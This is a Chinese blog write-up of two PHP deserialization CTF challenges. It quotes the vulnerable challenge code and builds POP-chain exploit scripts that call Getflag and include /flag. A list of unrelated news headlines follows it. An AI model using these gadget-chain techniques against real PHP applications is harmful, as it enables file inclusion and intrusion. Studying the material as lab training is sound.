ctf反序列化练题
[SWPUCTF 2021 新生赛]pop
admin === "w44m" && $this->passwd ==="08067"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "nono"; } }}class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; }}class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; }}$w00m = $_GET["w00m"];unserialize($w00m);?>
老规矩首先看代码,这是一道反序列化的题,get传参w00m,然后反序列化w00m。
【资料图】
然后寻找可以利用的点来获取Flag
class w44m{ private $admin = "aaa"; protected $passwd = "123456"; public function Getflag(){ if($this->admin === "w44m" && $this->passwd ==="08067"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "nono"; } }}
可以看到w44m类中有Getflag方法可以获取flag,因此我们需要实现Getflag这个方法。
那么如何去实现这个方法呢,我们要知道我们反序列化是不触发类的成员方法;只有我们调用时方法才能触发。
那我们如何去实现呢?
class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; }}
可以看到w22m类有__destruct方法,我们知道__destruct在类销毁时会自动调用,所以这就是我们的入口,知道头和尾后我们就可以构造pop链了,
我们让$a=new w22m;,然后通过调用w33m类中的__toString方法来进行调用w44m中的Getflag方法。
如下:
w00m; }}class w33m{ public $w00m; public $w22m="Getflag"; public function __toString(){ $this->w00m->{$this->w22m}();//若w22m为Getflag方法,那么需要让w33m中的w00m为w44m的对象,这样才能调用w44m中的Getflag()方法 return 0; }}$a=new w22m;$a->w00m=new w33m;//执行w33m类中的toString方法$a->w00m->w00m=new w44m;//echo urlencode(serialize($a));?>
[NISACTF 2022]popchains
Happy New Year~ MAKE A WISH";if(isset($_GET["wish"])){ @unserialize($_GET["wish"]);}else{ $a=new Road_is_Long; highlight_file(__FILE__);}/***************************pop your 2022*****************************/class Road_is_Long{ public $page; public $string; public function __construct($file="index.php"){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } }}class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); }}/**********************Try to See flag.php*****************************/
老规矩我们先看代码,可以看到这是一道反序列化的题,通过wish进行get传参来进行反序列化。
然后我们需要看可以获取falg的点,
class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}
可以看到Try_Work_Hard类中的append方法里面有include函数,所以说我们可以通过文件包含获取flag。
但是我们无法直接去调用append方法,我们可以先进行调用__invoke魔术方法(上一篇我写过如何去调用__invoke魔术方法,并且上一篇buuctf上的题和这道题相类似)来调用append方法。
尾部找到后接着我们就需要找到我们pop链的首部了。
class Road_is_Long{ public $page; public $string; public function __construct($file="index.php"){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } }
看到在Road_is_Long类中有__wakeup魔术方法,我们知道当反序列化还原时最先调用的就是__wakeup魔术方法。
因此我们首部和尾部都已经找到,所以我们就可以构造我们的pop链
构造思路如下:__wakeup() -> 创建 page 为Road_is_Long 类本身 => __toString -> $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke() -> => append() => include($value); value=/flag
接着我们就可以进行构造了:
string->page; } }class Try_Work_Hard{ protected $var="/flag"; }class Make_a_Change{ public $effort; }$a=new Road_is_Long;$a->page=new Road_is_Long;$a->page->string=new Make_a_Change;$a->page->string->effort=new Try_Work_Hard;echo urlencode(serialize($a));?>
然后将获取的值Get传入即可
-
ctf反序列化练题
博客园 2023-03-27
-
南宫美人天下演员表_南宫美人天下:环球今日讯
互联网 2023-03-27
-
jishu.95105555.cn_95105555
互联网 2023-03-26
-
2023年奉节县五马采茶节3月31日开幕
金台资讯 2023-03-26
-
官场笔记全集txt下载-天天观热点
互联网 2023-03-26
-
记者:黄政宇今天可能前往泰山队报到 是否加盟还需考察:全球热消息
直播吧 2023-03-26
-
考生因航班延误缺席复试后续 具体详细内容是什么:天天微速讯
互联网 2023-03-26
-
天天观速讯丨流星花园新版演员表
万年历 2023-03-26
-
长沙雅礼中学徐昌才老师第二次登上叶圣陶教师文学奖颁奖台:今日聚焦
红网-时刻新闻 2023-03-26
-
收费可办社保转职工社保?假的_新要闻
经济日报 2023-03-26
-
ctf反序列化练题
博客园 2023-03-27
-
南宫美人天下演员表_南宫美人天下:环球今日讯
互联网 2023-03-27
-
jishu.95105555.cn_95105555
互联网 2023-03-26
-
2023年奉节县五马采茶节3月31日开幕
金台资讯 2023-03-26
-
官场笔记全集txt下载-天天观热点
互联网 2023-03-26
-
记者:黄政宇今天可能前往泰山队报到 是否加盟还需考察:全球热消息
直播吧 2023-03-26
-
考生因航班延误缺席复试后续 具体详细内容是什么:天天微速讯
互联网 2023-03-26
-
天天观速讯丨流星花园新版演员表
万年历 2023-03-26
-
长沙雅礼中学徐昌才老师第二次登上叶圣陶教师文学奖颁奖台:今日聚焦
红网-时刻新闻 2023-03-26
-
收费可办社保转职工社保?假的_新要闻
经济日报 2023-03-26
-
全球热头条丨文件损坏请运行chkdsk工具关不掉_文件损坏请运行chkdsk
互联网 2023-03-26
-
论文开头怎么写最好_论文开头怎么写 全球焦点
互联网 2023-03-25
-
怎样在网上找医生咨询 每日观察
万年历 2023-03-25
-
当前快讯:库里已经拿到21485分,那同届的哈登格里芬德罗赞呢?
老邓说球 2023-03-25
-
环球速递!《他是谁》:正视「她」的存在,内娱才不算完
剧说好戏 2023-03-25
-
【世界聚看点】园艺专业的就业前景怎么样
万年历 2023-03-25
-
回旋钻机型号及规格20_回旋钻机型号及规格-天天即时看
互联网 2023-03-25
-
-
“东湖奇妙夜”点燃武汉春游季-即时看
湖北日报 2023-03-25
-
【世界独家】财达证券03月24日被沪股通减持58.33万股
东方财富Choice数据 2023-03-25
-
当前讯息:扣子的种类
万年历 2023-03-25
-
形容人性格特征的词语_形容人性格的词语 环球快播报
互联网 2023-03-25
-
环球看点!信阳市人社局召开2023年高校毕业生春季招聘工作座谈会
大象联播 2023-03-25
-
深圳修订住房公积金贷款规定:最高额度可上浮40% 天天即时
澎湃新闻 2023-03-24
-
“延边元素”亮相2023中国跨境电商交易会 3家企业达成意向采购额1.1亿元
延边广播电视台 2023-03-24
-
放弃211去了武科大值得吗武汉科技大学值得读吗
互联网 2023-03-24
-
演员张鲁一简介
万年历 2023-03-24
-
天天观速讯丨送法进社区 普法零距离|西岗区妇联开展《妇女权益保障法》专题讲座
回娘家 2023-03-24
-
冬天开暖风要不要打开AC开关,用内循环好还是外循环好,为什么_全球快消息
中华网看看头条 2023-03-24
-
国足客场逼平新西兰,放大10倍后看细节,原因清晰可见 当前视点
我叫五球王 2023-03-24